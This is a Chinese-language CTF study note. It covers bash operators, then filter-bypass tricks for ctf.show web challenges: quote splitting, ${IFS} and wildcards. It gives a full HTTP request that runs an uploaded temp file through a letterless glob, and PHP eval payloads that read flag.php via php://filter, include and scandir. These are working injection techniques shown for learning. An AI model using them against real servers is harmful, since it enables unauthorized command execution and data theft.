bash小妙招
bash中的&&
和||
- 在使用&&拼接命令时,command1&&command2 当command 成功执行(退出状态码0)那么command2将会被执行,如果command1执行失败(返回非零的退出状态码),command2不会被执行__相当于command1执行成功后再执行command2,command2对于command1来说是一个执行的后续操作
- 在使用||拼接命令时,command3||command4 当command3成功被执行,command4不会被成功执行,当command3执行失败,就轮到command4执行__相当于command3是执行的主要操作,而command4作为command3执行失败的备选项操作
bash中的;
- 用于分割多个命令,这些命令会依次被执行
bash中的''
- 是一个无解析内容的空字符串,可以打断内容,绕过正则过滤,如果过滤了flag字符串,可以使用命令
tac fla''g.php
即可绕过
nl - 输出代行号的文件内容,效果类似于
cat
或tac
输入重定向与输出重定向<
和>
- 追加在文件末尾
echo 'new line adding ' >> output.txt
- 输入
cat<input.txt
- 输出
echo 'a output line in terminal ' > output.txt
ls -l aaa || ls -l example >/dev/null 2>&1
${IFS}的妙用
它是一个环境变量,一般可以指代空格或水平制表符
e.g.: 空格被过滤,使用ta’'c${IFS}fla?.php 即可,语句中包括了双写绕过,通配符绕过
典中典之无字母
来自web55
对于shell脚本,可以用. /
然后补充完绝对路径执行脚本(前提是有执行权限)
服务器将用户上传的文件放在一个位置,命名规则是/tmp/php?????[@-[]
使用/???/????????[@-[]
匹配
e.g. /tem/phpMhFkjK
POST /?c=.%20/???/????????[@-[] HTTP/1.1 Host: a154afec-f485-4bc5-9853-5589a9bddb80.challenge.ctf.show Content-Length: 307 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:5500 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCHeMbHu9aEM5Vuli User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://127.0.0.1:5500/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close ------WebKitFormBoundaryCHeMbHu9aEM5Vuli Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: text/plain #!/bin/sh whoami ------WebKitFormBoundaryCHeMbHu9aEM5Vuli Content-Disposition: form-data; name="submit" submit to webpage ------WebKitFormBoundaryCHeMbHu9aEM5Vuli--
web56类似,使用.
和?
能在抓包中执行命令
部分函数被禁止使用
题目描述
/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
用来读文件内容echo file_get_contents('');
使用伪协议
/?1=php://filter/convert.base64-encode/resource=flag.php
在post中,使用include包含显示回显
c=include($_GET[1]);
使用c=highlight_file('flag.php');
在post中
类似的c=show_source('flag.php');
show_source也可使用
这类题主要考察Php中读文件的函数
使用c=include('flag.php');echo $flag;
,$
没被ban就能用变量
文件被包含,即被注册(定义),可输出所有一定义的变量查看它们的变量名和值,如
c=include('flag.php');var_dump(get_defined_vars());
如果flag不在默认目录/var/www/html
就需要考虑路径问题
使用c=var_dump(scandir('/'))
查看根目录